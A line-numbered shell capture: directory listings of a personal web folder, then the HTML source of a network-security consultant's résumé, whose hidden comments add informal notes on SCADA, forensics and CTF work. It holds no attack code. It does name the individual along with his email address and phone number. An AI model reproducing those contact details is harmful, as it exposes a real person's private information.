252 Feb 7 19:13 pbctest.html~ 11045 -rwxr-xr-x 1 thalakan thalakan 889 Dec 3 2002 perf.c 11046 -rwxr-xr-x 1 thalakan thalakan 25112 Jun 3 2003 perf.exe 11047 -rw-r--r-- 1 thalakan thalakan 7594 Jan 24 2002 picobsd-notes.html 11048 -rw-r--r-- 1 thalakan thalakan 2473331 Jul 30 2003 pics.tar.gz 11049 drwxr-xr-x 3 thalakan thalakan 512 Jan 24 2002 pingx 11050 -rw-r--r-- 1 thalakan thalakan 9437 Jan 24 2002 pingx-1.0.tar.bz2 11051 -rw-r--r-- 1 thalakan thalakan 10193 Jan 24 2002 pingx-1.0.tar.gz 11052 -rw-r--r-- 1 thalakan thalakan 299 Nov 7 2008 places.txt 11053 -rwxr-xr-x 1 thalakan thalakan 6917 Mar 2 21:52 portability 11054 -rwxr-xr-x 1 thalakan thalakan 4208 Apr 4 17:07 portability.c 11055 -rw-r--r-- 1 thalakan thalakan 8987 Aug 9 2004 process-title-notes.html 11056 -rw-r--r-- 1 thalakan thalakan 456208 Apr 5 2005 procexp.exe 11057 -rw-r--r-- 1 thalakan thalakan 84 Aug 15 2006 pvtg.php~ 11058 -rw-r--r-- 1 thalakan thalakan 81117 Apr 25 14:15 quotes.html 11059 -rw-rw-r-- 1 thalakan thalakan 318 Mar 8 2004 rE2StLZ7Z4mo0e6l+wWntA==~ 11060 -rwxr-xr-x 1 thalakan thalakan 4487 Jan 15 2004 rand 11061 -rw-r--r-- 1 thalakan thalakan 102 Jan 15 2004 rand.c 11062 -rw-r--r-- 1 thalakan thalakan 4959 Aug 9 2004 red-planet.html 11063 -rw-r--r-- 1 thalakan thalakan 3673 Aug 9 2004 redhatman.html 11064 -rw-r--r-- 1 thalakan thalakan 219 Apr 20 2004 refresh.html 11065 -rw-r--r-- 1 thalakan thalakan 17923 Oct 28 2006 resume-onhold.html~ 11066 -rw-r--r-- 1 thalakan thalakan 19798 Nov 12 2007 resume-programmer.html 11067 -rw-r--r-- 1 thalakan thalakan 19747 Oct 18 2007 resume-programmer.html~ 11068 -rw-r--r-- 1 thalakan thalakan 12169 Jul 16 2007 resume-sysadmin.html 11069 -rw-r--r-- 1 thalakan thalakan 16468 Apr 4 16:49 resume.html 11070 -rw-r--r-- 1 thalakan thalakan 12855 Mar 18 2003 resume.html.bak 11071 -rw-r--r-- 1 thalakan thalakan 10340 Apr 27 2006 resume.txt 11072 -rw-r--r-- 1 thalakan thalakan 8045 Mar 18 2003 resumenew.html 11073 -rwxr-xr-x 1 thalakan thalakan 3483 Jun 22 2002 rhsysv-skeleton 11074 -rw-r--r-- 1 thalakan thalakan 6827 Dec 14 2003 rip1.c 11075 drwxr-xr-x 3 thalakan thalakan 1024 Jul 26 2006 rover 11076 -rw-r--r-- 1 thalakan thalakan 14692587 Sep 13 2003 satisfaction.mov 11077 -rw-r--r-- 1 thalakan thalakan 677 Apr 20 2004 script.html 11078 -rw-r--r-- 1 thalakan thalakan 553 Apr 20 2004 script.html~ 11079 -rw-r--r-- 1 thalakan thalakan 1572 Aug 9 2004 seraph.html 11080 -rw-r--r-- 1 thalakan thalakan 20397 Jan 18 2003 serif.fdb 11081 -rw-r--r-- 1 thalakan thalakan 1034 Aug 9 2004 sgihw-notes.html 11082 -rw-r--r-- 1 thalakan thalakan 5752 Feb 15 2007 sha1.js 11083 -rw-r--r-- 1 thalakan thalakan 5499 Aug 9 2004 site-index.html 11084 drwxr-xr-x 2 thalakan thalakan 1024 Nov 13 2005 six 11085 -rw-r--r-- 1 thalakan thalakan 7684 Aug 9 2004 skydiving.html 11086 -rw-r--r-- 1 thalakan thalakan 1477 Feb 10 2004 snprintf.html 11087 -rw-r--r-- 1 thalakan thalakan 518 Feb 10 2004 snprintf.html~ 11088 -rw-r--r-- 1 thalakan thalakan 18339 Jan 24 2002 socket-notes.html 11089 -rw-r--r-- 1 thalakan thalakan 1247 Jan 24 2002 socket_types.c 11090 -rw-r--r-- 1 thalakan thalakan 6295 Aug 9 2004 solaris.html 11091 -rw-r--r-- 1 www thalakan 27 Nov 8 2008 soopha 11092 -rw-r--r-- 1 thalakan thalakan 8883 Feb 22 2007 soopha.bak 11093 -rw-r--r-- 1 thalakan thalakan 11901 Aug 28 2008 soopha1 11094 -rw-r--r-- 1 thalakan thalakan 12154 Sep 26 2008 soopha1.html 11095 -rw-rw-r-- 1 thalakan thalakan 7741 Dec 4 2004 soopha~ 11096 -rw-r--r-- 1 thalakan thalakan 557 Aug 9 2004 ssh-vpn-notes.html 11097 -rw-r--r-- 1 thalakan thalakan 18610 Jun 3 2005 stage3 11098 -rw-r--r-- 1 thalakan thalakan 13288 Jun 3 2005 stage3.exe 11099 drwxr-xr-x 3 thalakan thalakan 1536 Apr 9 2006 std36 11100 -rw-r--r-- 1 thalakan thalakan 14027 Oct 9 2007 stod.zip.torrent 11101 -rw-r--r-- 1 thalakan thalakan 1038 Jun 19 2002 submit-endpoint-form.html 11102 -rw-r--r-- 1 thalakan thalakan 820 Jun 19 2002 submit-endpoint-form.html~ 11103 -rw-r--r-- 1 thalakan thalakan 1454 Jun 19 2002 submit-endpoint.php 11104 -rw-r--r-- 1 thalakan thalakan 431 Jun 19 2002 submit-endpoint.php~ 11105 -rwxr--r-- 1 thalakan thalakan 1832 Jun 22 2002 susesysv-skeleton 11106 -rwxr--r-- 1 thalakan thalakan 1601 Jun 22 2002 susesysv-skeleton~ 11107 -rw-r--r-- 1 thalakan thalakan 166 Jan 15 2004 t 11108 -rw-r--r-- 1 thalakan thalakan 11264 Jan 24 2002 taxstuff.sdw 11109 drwxr-xr-x 4 thalakan thalakan 512 Jun 1 2002 template 11110 -rw-r--r-- 1 thalakan thalakan 1476 Jan 24 2002 template-0.1.tar.gz 11111 -rw-r--r-- 1 thalakan thalakan 481 Aug 9 2004 template.html 11112 -rwxr-xr-x 1 thalakan thalakan 780 Dec 19 2002 template.pl 11113 -rw-r--r-- 1 thalakan thalakan 1048576 Dec 24 2007 test 11114 -rw-r--r-- 1 thalakan thalakan 27 Nov 24 2004 test.dat 11115 -rw-r--r-- 1 thalakan thalakan 20 Nov 24 2004 test.dat~ 11116 -rw-r--r-- 1 thalakan thalakan 593 Jan 24 2002 test.html~ 11117 -rw-r--r-- 1 thalakan thalakan 1391 Oct 11 2003 test.js~ 11118 -rw-r--r-- 1 thalakan thalakan 84 Sep 6 2004 test.php 11119 -rw-r--r-- 1 thalakan thalakan 94 Sep 4 2004 test.php~ 11120 -rw-r--r-- 1 thalakan thalakan 7764 May 19 2005 test.png 11121 -rw-r--r-- 1 thalakan thalakan 190 Jan 24 2002 test.tmpl 11122 -rw-r--r-- 1 thalakan thalakan 20 Jan 15 2004 test.txt;2 11123 -rw-r--r-- 1 thalakan thalakan 2159 Dec 10 2004 test2.html 11124 -rw-r--r-- 1 thalakan thalakan 495 Dec 10 2004 test2.html~ 11125 -rw-r--r-- 1 thalakan thalakan 544 Nov 24 2004 test2.php 11126 -rw-r--r-- 1 thalakan thalakan 544 Nov 24 2004 test2.php~ 11127 -rw-r--r-- 1 thalakan thalakan 971 Nov 24 2004 test3.php 11128 -rw-r--r-- 1 thalakan thalakan 961 Nov 24 2004 test3.php~ 11129 -rw-r--r-- 1 thalakan thalakan 1340 Feb 23 2005 test4.html 11130 -rw-r--r-- 1 thalakan thalakan 275 Feb 23 2005 test4.html~ 11131 -rw-r--r-- 1 thalakan thalakan 533 Jan 14 2009 test4.php.disabled 11132 -rw-r--r-- 1 thalakan thalakan 1287 Apr 18 2007 test5.html 11133 -rw-r--r-- 1 thalakan thalakan 669 Apr 18 2007 test5.html~ 11134 -rw-r--r-- 1 thalakan thalakan 465 Aug 18 2008 test6.html 11135 -rw-r--r-- 1 thalakan thalakan 27781 Aug 28 2002 tester.html 11136 -rw-r--r-- 1 thalakan thalakan 640 Apr 25 2007 testxml.php 11137 -rw-r--r-- 1 thalakan thalakan 321 Dec 10 2004 testxml.php~ 11138 -rw-r--r-- 1 thalakan thalakan 2302 Dec 3 2002 threadtest.c 11139 -rw-r--r-- 1 thalakan thalakan 1443 May 26 12:35 timeline.html 11140 -rw-r--r-- 1 thalakan thalakan 182 Jan 27 17:50 timeline.html~ 11141 -rw-r--r-- 1 thalakan thalakan 151 Oct 23 2004 unhide.c 11142 -rw-r--r-- 1 thalakan thalakan 183925 Jul 19 18:06 urls.txt 11143 drwxr-xr-x 2 thalakan thalakan 9216 Sep 1 2007 usage 11144 -rwxr-xr-x 1 thalakan thalakan 1605 Dec 9 2002 vinumprep.sh 11145 -rw-r--r-- 1 thalakan thalakan 3248 Aug 11 2003 virtualtest1.cpp 11146 -rw-r--r-- 1 thalakan thalakan 946 Aug 11 2003 visio-autoexport.vb 11147 -rw-r--r-- 1 thalakan thalakan 233472 Dec 1 2004 vncviewer.exe 11148 -rwxr-xr-x 1 thalakan thalakan 1854 Sep 24 2002 vtxwatch.pl 11149 -rw-r--r-- 1 thalakan thalakan 869 Jan 24 2002 w32logs.pl 11150 -rw-r--r-- 1 thalakan thalakan 1183 Jan 24 2002 w32odbctest.pl 11151 -rw-r--r-- 1 thalakan thalakan 590 Aug 9 2004 web.css 11152 -rw-r--r-- 1 thalakan thalakan 407 Aug 9 2004 webcam.html 11153 -rw-r--r-- 1 thalakan thalakan 580 Sep 19 2002 whereami.php 11154 -rw-r--r-- 1 thalakan thalakan 2927 Aug 9 2004 why-not-open.html 11155 -rw-r--r-- 1 thalakan thalakan 9644 Jan 12 2004 win2000l.gif 11156 -rw-r--r-- 1 thalakan thalakan 1958 Jan 12 2004 win2000r.gif 11157 -rw-r--r-- 1 thalakan thalakan 486190 Jan 23 2004 winamp_lite.cab 11158 -rw-r--r-- 1 thalakan thalakan 204 Jan 23 2004 winamp_lite.html 11159 drwxr-xr-x 2 thalakan thalakan 1536 Feb 8 16:56 winbin 11160 -rw-r--r-- 1 thalakan thalakan 3511 Jul 3 2002 winner.spec 11161 -rwxr-xr-x 1 thalakan thalakan 2669 Dec 3 2002 wintemplate.c 11162 -rwxr-xr-x 1 thalakan thalakan 12997 Aug 9 2004 work-introduction.html 11163 -rw-r--r-- 1 thalakan thalakan 857 Jan 15 2004 wow.bin 11164 -rw-r--r-- 1 thalakan thalakan 11565048 Dec 4 2008 wtf 11165 $ ls -la | grep -v 20 11166 total 169266 11167 -rw-r--r-- 1 thalakan thalakan 223 Jan 28 01:04 #paybycard.html# 11168 drwxrwxr-x 25 thalakan thalakan 8192 Apr 25 14:17 . 11169 -rw-r--r-- 1 thalakan thalakan 8321 Feb 7 19:51 AC_RunActiveContent.js 11170 drwxr-xr-x 2 thalakan thalakan 512 Apr 25 14:17 CVS 11171 -rw-r--r-- 1 thalakan thalakan 454 Feb 9 19:05 camera.swf 11172 -rw-r--r-- 1 thalakan thalakan 1227 Feb 9 18:12 cctest.swf 11173 -rw-r--r-- 1 thalakan thalakan 95077 May 26 12:34 fileindex.xml 11174 -rw-r--r-- 1 thalakan thalakan 4111068 Jan 27 18:26 fileindex.xml~ 11175 -rwxr-xr-x 1 thalakan thalakan 3152 Apr 4 16:49 howmuch.pl 11176 drwxr-xr-x 13 thalakan thalakan 6656 Jun 4 05:40 images 11177 -rw-r--r-- 1 thalakan thalakan 222 Jan 28 01:04 paybycard.html 11178 -rw-r--r-- 1 thalakan thalakan 189 Jan 28 01:00 paybycard.html~ 11179 -rw-r--r-- 1 thalakan thalakan 1387 Jan 28 02:18 paybycard.js 11180 -rw-r--r-- 1 thalakan thalakan 165 Jan 28 01:02 paybycard.js~ 11181 -rw-r--r-- 1 thalakan thalakan 2566 Feb 9 18:15 pbctest.html 11182 -rw-r--r-- 1 thalakan thalakan 252 Feb 7 19:13 pbctest.html~ 11183 -rwxr-xr-x 1 thalakan thalakan 6917 Mar 2 21:52 portability 11184 -rw-r--r-- 1 thalakan thalakan 81117 Apr 25 14:15 quotes.html 11185 -rw-r--r-- 1 thalakan thalakan 16468 Apr 4 16:49 resume.html 11186 -rw-r--r-- 1 thalakan thalakan 1443 May 26 12:35 timeline.html 11187 -rw-r--r-- 1 thalakan thalakan 182 Jan 27 17:50 timeline.html~ 11188 -rw-r--r-- 1 thalakan thalakan 183925 Jul 19 18:06 urls.txt 11189 drwxr-xr-x 2 thalakan thalakan 1536 Feb 8 16:56 winbin 11190 $ cat resume.html 11191 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN"> 11192 <!-- Description: Information about my technical abilities, and places I've worked. --> 11193 <HTML> 11194 <HEAD> 11195 <TITLE>Jason's Resume</TITLE> 11196 </HEAD> 11197 <BODY bgcolor="#ffffff"> 11198 11199 <!-- 11200 You're going to see comments like this throughout. I assume that 11201 if you can see them, you're a bright engineer type and can infer the 11202 "real story" from the rest of the management speak and buzzwords in 11203 here. 11204 --> 11205 11206 <P>Jason Spence 11207 </P> 11208 <P>jspence@lightconsulting.com <BR>(650) 380-1430 11209 </P> 11210 <P>If you received this document on paper, you may want to look 11211 at the most up-to-date version of this document, located at: <A 11212 HREF="http://lightconsulting.com/~thalakan/resume.html">http://lightconsulting.com/~thalakan/resume.html</A>. 11213 11214 <BR> 11215 </P> 11216 11217 <!-- 11218 I actually believe in this; it's not just smoke. If nothing else, the 11219 Internet has proved that open dialogue between people of different 11220 cultures reduces misconceptions and silly myths about each other. 11221 It's hard to get pissed off at a people that produces the same kind of 11222 news stories you are used to seeing in your local newspaper, because 11223 it proves they're human and they screw things up and do neat things 11224 just like yours does. 11225 11226 Amateur radio operators have known this for years, but now that all 11227 the kids are playing video games with people halfway across the globe 11228 on a regular basis, it's far more apparent. 11229 --> 11230 11231 <H1>Goal</H1> 11232 <P>To use my abilities to help individuals and organizations to 11233 communicate without boundaries, and without borders. To help provide 11234 reliable and trustworthy communications systems by building security 11235 and robustness into the things I touch. It is my goal to provide 11236 secure, ubiquitous access to communications technology for all. 11237 </P> 11238 <H1>Objectives</H1> 11239 <UL> 11240 <LI><P>To apply best principles to the deployment and 11241 management of networks, and to assist the system and network 11242 administrator communities to develop the zero-administration 11243 environment we all want. 11244 <LI><P>To use my skills to leave the networks I touch smarter, 11245 faster, and easier to understand than when I started working 11246 with them. 11247 11248 <!-- 11249 I've already started on this. See 11250 http://lightconsulting.com/~thalakan/drop/hd2.exe 11251 --> 11252 11253 <LI><P>To release one truly great network infrastructure 11254 software component to the Internet networking community. 11255 </UL> 11256 <H1>Experience</H1> 11257 11258 <TABLE WIDTH=100% CELLPADDING=2 CELLSPACING=2> 11259 <TR> 11260 <TH WIDTH=33%> 11261 <P ALIGN=LEFT>2003-Present</P> 11262 </TH> 11263 <TH WIDTH=33%> 11264 <P ALIGN=CENTER>HSQ, Inc.</P> 11265 </TH> 11266 <TH WIDTH=33%> 11267 <P ALIGN=RIGHT>Hayward, CA</P> 11268 </TH> 11269 </TR> 11270 </TABLE> 11271 <H2>Technical Consultant</H2> 11272 <UL> 11273 11274 <LI><P>Wrote the Win32 version of the MISER watchdog 11275 application supervision component. 11276 11277 <!-- 11278 Yeah, and it had to plug into 5 other nets under other administrative 11279 domains, and EIGRP wouldn't work right over the async ports in 12.2 11280 mainline, the (T) version was unstable, I had to set up IIS on a 2k3 11281 server to FTP core dumps to, I had to enable RIP listeners on XP and 11282 VMS hosts, deal with EIGRP domain conflicts with the peer nets, 11283 somehow get a bunch of microcontroller based serial to ethernet 11284 bridges to do dynamic addressing, arrrrrrrgh. I actually had to write 11285 a RIP protocol analyzer from scratch at one point to figure out what 11286 the hell was going on: 11287 11288 http://lightconsulting.com/~thalakan/rip1.c 11289 11290 And then I find out that the RIP listener component is unsupported on 11291 non server-class operating systems from Microsoft. Oh, well. I ended 11292 up reverse engineering iprip.dll to get the registry keys so I could 11293 tweak the failover timers into compliance with requirements, which 11294 ended up working very well. 11295 --> 11296 <LI><P>Designed and implemented a fully redundant Cisco based 11297 network core and associated management infrastructure for the 11298 light rail system being built at Hiawatha, MN. TTFC was 21 11299 days, and TTS was 26 days. 11300 11301 <LI><P>Ported the MISER ODBC bridge to the Win32 SCM 11302 ("service") API and other "native" APIs to satisfy reliability 11303 and customer ease-of-use requirements. 11304 11305 <!-- 11306 11307 This was perhaps the world's most expensive connect-the-dots program. 11308 Basically, someone forgot to include power sensors in the 11309 specification, so the system had no idea whether a given track section 11310 was powered or not. But we wired it up so the points so that people 11311 on the track could hit switches and report their current state to the 11312 operator, who would then tell the system what the switch state was. 11313 Problem was that MISER, like many other SCADA systems, had no idea 11314 what points were connected to what other points, so I had to layer a 11315 bunch of data on top of that so the MISER processors could induce the 11316 overall power states based on the states of individual switches. 11317 11318 I'm going to submit a JSR to Sun at some point because the Java based 11319 graph (CS, not bars-and-pies) editing program I wrote had to implement 11320 a custom JComponent to represent a node, and that was way more 11321 complicated than it should have been. And the fact that they only got 11322 focus working correctly just recently in 1.4 and Netbeans takes 11323 something ridiculous like 110 RSS and 150 total VM size didn't help at 11324 all. 11325 11326 --> 11327 <LI><P>Built graph algorithm libraries and tools to provide 11328 MISER with knowledge of system point topology and 11329 interconnections. 11330 11331 <LI><P>Currently porting 100 kSLOC of industrial controller 11332 code to Windows CE. 11333 11334 </UL> 11335 11336 <!-- 11337 A bunch of people got broken into and I had to figure out what 11338 happened, what data was stolen, how to fix it, do process engineering 11339 to keep it from happening again, etc. One site had something like 11340 several gigs of German warez and screeners on it because the 11341 administrator had enabled public writable FTP access. You should have 11342 seen the bandwidth graphs and the associated bill for them! 11343 --> 11344 11345 <TABLE WIDTH=100% CELLPADDING=2 CELLSPACING=2> 11346 <TR> 11347 <TH WIDTH=33%> 11348 <P ALIGN=LEFT>2002-Present</P> 11349 </TH> 11350 <TH WIDTH=33%> 11351 <P ALIGN=CENTER>Protectix, Inc.</P> 11352 </TH> 11353 <TH WIDTH=33%> 11354 <P ALIGN=RIGHT>Santa Clara, CA</P> 11355 </TH> 11356 </TR> 11357 </TABLE> 11358 <H2>Technical Consultant</H2> 11359 <UL> 11360 11361 <LI><P>Performed remote forensic analysis of compromised 11362 Windows servers and acted as liason between customers and 11363 Federal law enforcement. 11364 11365 <LI><P>Performed on-site policy re-engineering consulting with 11366 customers. 11367 11368 </UL> 11369 11370 <!-- 11371 One thing I didn't put on here was that I wrote an, um, "adult 11372 entertainment" IVR system for one contract. On a Sun SparcStation 20, 11373 no less. Doing custom IVR is harder than it sounds because of the load 11374 issues, customer inexperience with using unambigious language, old 11375 hardware, and so forth. 11376 --> 11377 11378 <TABLE WIDTH=100% CELLPADDING=2 CELLSPACING=2> 11379 <TR> 11380 <TH WIDTH=33%> 11381 <P ALIGN=LEFT>2001-Present</P> 11382 </TH> 11383 <TH WIDTH=33%> 11384 <P ALIGN=CENTER>Open Source Telecom</P> 11385 </TH> 11386 <TH WIDTH=33%> 11387 <P ALIGN=RIGHT>Sunnyvale, CA</P> 11388 </TH> 11389 </TR> 11390 </TABLE> 11391 <H2>Technical Consultant</H2> 11392 <UL> 11393 <LI><P>Re-engineered server shipping process, saving 11394 approximately 1 day of engineering time per server and 11395 significantly increasing average margin per server. 11396 <LI><P>Wrote custom IVR systems using a combination of Perl 11397 and ccscript on the GNU Bayonne platform. Responsible for 11398 factoring out common code segments into re-usable libraries. 11399 Reduced average time to feature complete from weeks to days. 11400 </P> 11401 <LI><P>Wrote Caller ID and port bridging drivers for Bayonne's 11402 Voicetronix driver. Worked with Voicetronix to resolve 11403 several bugs, including hybrid balance codec issues. 11404 </P> 11405 </UL> 11406 11407 <!-- 11408 See http://lightconsulting.com/~thalakan/frys-notes.html for the real 11409 story behind the web server. 11410 --> 11411 <TABLE WIDTH=100% CELLPADDING=2 CELLSPACING=2> 11412 <TR> 11413 <TH WIDTH=33%> 11414 <P ALIGN=LEFT>1999-Present</P> 11415 </TH> 11416 <TH WIDTH=33%> 11417 <P ALIGN=CENTER>Fry's Electronics, ISP Department</P> 11418 </TH> 11419 <TH WIDTH=33%> 11420 <P ALIGN=RIGHT>San Jose, CA</P> 11421 </TH> 11422 </TR> 11423 </TABLE> 11424 <H2>Technical Consultant</H2> 11425 <UL> 11426 <LI><P STYLE="margin-bottom: 0in">Designed and implemented all 11427 the hardware and network infrastructure that runs 11428 www.frys.com. Project came in 50% under budget and has been 11429 secure for 2+ years. 11430 </P> 11431 <LI><P STYLE="margin-bottom: 0in">Implemented an 800-port RAS 11432 solution with three hardware vendors and open source software. 11433 <LI><P>Responsible for installing and maintaining equipment 11434 and software to provide dial-up, mail, RADIUS, customer web 11435 hosting, and infrastructure services for ISP products. 11436 <LI><P>Participated in the development of <A 11437 href="http://www.sisd.com/freeside/">Freeside</A>, an 11438 open-source billing and ISP administration package. Acted as 11439 developer liason between the Freeside community and Fry's 11440 management to produce patches which met the needs of both 11441 groups. 11442 </P> 11443 </UL> 11444 11445 <!-- 11446 Working with the IT people here has taught me the trick of infinite 11447 patience. I can now laugh off any insanity I have to deal with as a 11448 network administrator at any site because I know that no matter how 11449 bad it gets, it can't ever get any worse than dealing with a hoarde of 11450 CS students who are Out To Get You. 11451 --> 11452 <H1>Education</H1> 11453 <TABLE WIDTH=100% CELLPADDING=2 CELLSPACING=2> 11454 <TR> 11455 <TH WIDTH=33%> 11456 <P ALIGN=LEFT>2000-Present</P> 11457 </TH> 11458 <TH WIDTH=33%> 11459 <P ALIGN=CENTER>Ohlone Community College</P> 11460 </TH> 11461 <TH WIDTH=33%> 11462 <P ALIGN=RIGHT>Fremont, CA</P> 11463 </TH> 11464 </TR> 11465 </TABLE> 11466 <UL> 11467 11468 <LI><P>Completed requirements for Computer Science AS degree. 11469 Currently completing requirements for transfer admission to UC 11470 Berkeley's EECS program. 4.0 average GPA in major courses; 11471 average GPA for Ohlone's AS program is about 3.0. Training 11472 includes formal data structures, formal logic, multivariate 11473 calculus (with CS applications), linear algebra (with CS 11474 applications), and formal abstract analysis. 11475 </P> 11476 </UL> 11477 11478 <TABLE WIDTH=100% CELLPADDING=2 CELLSPACING=2> 11479 <TR> 11480 <TH WIDTH=33%> 11481 <P ALIGN=LEFT>1999-2000</P> 11482 </TH> 11483 <TH WIDTH=33%> 11484 <P ALIGN=CENTER>College of San Mateo</P> 11485 </TH> 11486 <TH WIDTH=33%> 11487 <P ALIGN=RIGHT>San Mateo, CA</P> 11488 </TH> 11489 </TR> 11490 </TABLE> 11491 <UL> 11492 <LI><P>Attended courses in real estate management for personal 11493 investment purposes. 11494 </P> 11495 </UL> 11496 <H1>Skills</H1> 11497 11498 <H2>Communications</H2> 11499 <p> 11500 I've given several presentations at information security conferences 11501 on a wide variety of topics that have come up in the course of my 11502 work. I plan to be speaking throughout 2005 at conferences on topics 11503 such as SCADA system attack and defense and network visualization. 11504 Slides, videos, and abstracts are available upon request. 11505 11506 <p> 11507 I score in the top 5 percentile on standardized English reading and 11508 writing placement tests, and a perfect score on the standardized ASSET 11509 writing examination. 11510 11511 <p> 11512 I regularly catch corner-case errors in MSDN documentation when doing 11513 development on Microsoft platforms, and have attended Microsoft 11514 gatherings to help improve the overall quality of their documentation. 11515 11516 <p> 11517 I am a native English speaker with a Northern California accent and a 11518 Montessori based developmental language education. 11519 11520 <H2>Languages</H2> 11521 11522 <!-- 11523 If you got the INTERCAL joke, you win a prize :) By the way, the COBOL 11524 isn't a joke. I actually do some stuff with TinyCobol because, well, 11525 it doesn't suck for certain types of work, like financial reports. 11526 It's a hell of a lot smaller than whatever I could come up with in C, 11527 and unlike the Perl version, I can go deploy it on a mainframe if I 11528 need~ to :) 11529 --> 11530 <ul> 11531 <li>> 1000 billed hours: ANSI/ISO C, C++. 11532 <li>> 100 billed hours: Java, Perl, UNIX shell scripting (Bourne and csh). 11533 <li>> 10 billed hours: DEC FORTRAN, GNU FORTRAN, VMS DCL, Intel 11534 assembly (including supervisor instructions and vector instructions), 11535 ccscript, autotools, GNU and BSD make. 11536 <li>Self-taught: NT command shell scripting, VBScript / JScript 11537 windows scripting hosts, C#, COBOL, INTERCAL, AppleScript, elisp, flex, 11538 bison, and a few dozen domain-specific languages. 11539 <li>Development Environments: Visual C++ 6.0, Visual Studio .NET, GNU 11540 toolchain using emacs and vim, Compaq Visual Fortran, VMS toolchain 11541 using EDT and DCL based tools. 11542 </ul> 11543 </P> 11544 11545 <H2>Network Platforms</H2> 11546 11547 <P>I can bring the following systems into compliance with site 11548 security policies: Windows NT (2000, XP), Linux, FreeBSD, OpenBSD, 11549 Solaris. I have billed more than 5000 hours on Linux related work, 11550 and more than 1000 hours on Windows and FreeBSD related work. 11551 11552 I am familiar enough with the code to customize the following packages 11553 at the source level or by using vendor-provided plugin APIs: GCC, GTK, 11554 Javadoc, ISC BIND, snort, Sendmail, Qmail, Apache, various 11555 Windows subsystems, and OpenNMS. 11556 </P> 11557 11558 <H2>Network Protocols / Hardware</H2> 11559 11560 <p> 11561 I've worked with the following packet filtering, monitoring and/or 11562 firewalling tools: Linux 2.4 iptables SPF, Linux 2.2 ipchains, BSD 11563 ipfw, IPFilter, OpenBSD pf, libpcap, libnet, Ethereal, libnids, 11564 Windows NDIS intermediate drivers, Windows NDIS filter drivers, OS X 11565 I/O Kit filters, VMS UCX ACLs. 11566 11567 <!-- 11568 There's something like three dozen other things that should be on 11569 here, but this resume is long enough as it is :P I actually had a 11570 "network hardware" section in here, but that actually did have several 11571 dozen entries and I don't think anyone cares that I deployed a bunch 11572 of Alcatel stuff or patched their broken MIBS to work with Net-SNMP, 11573 or basically did all the Linux Beta QA on the Digi RASFires, etc. 11574 11575 I really did write protocol libraries for a bunch of this stuff, like 11576 BGP, a UDP/IP library, NMB name decoders, SMTP clients, etc. Some of 11577 it's even open, so I can use it for whatever project you have in mind 11578 for me. 11579 --> 11580 11581 <P>I have worked with and/or written protocol libraries for the 11582 following platforms: Internet Protocol v4 and v6, Ethernet, the H.323 11583 family of videoconferencing protocols, BGP 4+, EIGRP (Cisco), RIP, 11584 DNS, LDAP, SNMP, HTTP, FTP, IP Multicast, Berkeley UNIX sockets, 11585 Winsock 2, Linux 2.4 bridging, AX.25 amateur packet, SMB (windows 11586 networking), NFS, NTP, the Intel PXE family of network boot tools, 11587 bpbatch, NMB (windows networking name services), PPTP, Token ring, 11588 various LAN ATM flavors, PPP (+IPCP, CCP, BridgeCP, and other extensions). 11589 11590 </P> 11591 <H2>Titles</H2> 11592 <p> 11593 I regularly compete against other network security groups in contests 11594 designed to test the speed, agility, and knowledge of the teams 11595 playing. I hold the following titles as a result of these 11596 competitions: 11597 11598 <p> 11599 DefCon 9, Las Vegas, NV: Co-won first place<br> 11600 DefCon 10, Las Vegas, NV: First place<br> 11601 Interz0ne II, Atlanta, GA: First place<br> 11602 Interz0ne III, Atlanta, GA: Second place<br> 11603 t00rcon 2003, San Diego, CA: Second place<br> 11604 t00rcon 2004, San Diego, CA: Second place<br> 11605 Interz0ne IV, Atlanta, GA: First place<br> 11606 11607 11608 <H2>Other</H2> 11609 <UL> 11610 <!-- 11611 This is Dan Kaminsky's network toolkit; you may have heard of it. 11612 Among other things, it has what we think is the world's fastest port 11613 scanner. At least, no one has contested our claim... 11614 --> 11615 <LI><P>I am the primary build engineer for Paketto Keiretsu. 11616 <LI><P>Can type over 100 wpm on both QWERTY and Dvorak 11617 keyboards. 11618 <LI><P>I participated in the DefCon Capture the Flag 11619 competition during DefCon 9 and 10 and assisted the <A 11620 href="http://www.digrev.org/">Digital Relevation</A> team in 11621 winning first place both years. Wrote several attack and 11622 defense tools in C, Perl, Bourne shell, and C# under pressure, 11623 with an approximate output of 2 debugged lines of C per 11624 minute. 11625 <LI><P>My lifetime code output in all languages has been 11626 independently estimated to be approximately 150,000 lines as 11627 of 2003, with a 1:5 documentation to code ratio. 11628 <LI><P>Hold an Technican-class amateur radio license (callsign 11629 KF6RGF) and participate in the local emergency services net. 11630 <!-- 11631 Does anyone not do this anymore? I swear, it takes a couple hours a 11632 day of reading and study just to keep up with the industry. 11633 --> 11634 <li><p>I'm maintain a strict policy of continuing 11635 self-education in both my personal and business roles. 11636 <!-- 11637 I think all infosec people should run big personal networks. It's 11638 great: I don't need to collect exploits, the bad guys just dump theirs 11639 on my honeypots :) 11640 --> 11641 <li><p>My personal research network (14 nodes located 11642 nationally and internationally) has never been been 11643 compromised in violation of the security policy by either 11644 anonymous or guest "white-hat" hackers. 11645 </UL> 11646 <P ALIGN=CENTER><FONT SIZE=1>References available on request.</FONT></P> 11647 <P><BR><BR> 11648 </P> 11649 </BODY> 11650 </HTML>$ ls -la | grep -v 20 11651 total 169266 11652 -rw-r--r-- 1 thalakan thalakan 223 Jan 28 01:04 #paybycard.html# 11653 drwxrwxr-x 25 thalakan thalakan 8192 Apr 25 14:17 . 11654 -rw-r--r-- 1 thalakan thalakan 8321 Feb 7 19:51 AC_RunActiveContent.js 11655 drwxr-xr-x 2 thalakan thalakan 512 Apr 25 14:17 CVS 11656 -rw-r--r-- 1 thalakan thalakan 454 Feb 9 19:05 camera.swf 11657 -rw-r--r-- 1 thalakan thalakan 1227 Feb 9 18:12 cctest.swf 11658 -rw-r--r-- 1 thalakan thalakan 95077 May 26 12:34 fileindex.xml 11659 -rw-r--r-- 1 thalakan thalakan 4111068 Jan 27 18:26 fileindex.xml~ 11660 -rwxr-xr-x 1 thalakan thalakan 3152 Apr 4 16:49 howmuch.pl 11661 drwxr-xr-x 13 thalakan thalakan 6656 Jun 4 05:40 images 11662 -rw-r--r-- 1 thalakan thalakan 222 Jan 28 01:04 paybycard.html 11663 -rw-r--r-- 1 thalakan thalakan 189 Jan 28 01:00 paybycard.html~ 11664 -rw-r--r-- 1 thalakan thalakan 1387 Jan 28 02:18 paybycard.js 11665 -rw-r--r-- 1 thalakan thalakan 165 Jan 28 01:02 paybycard.js~ 11666 -rw-r--r-- 1 thalakan thalakan 2566 Feb 9 18:15 pbctest.html 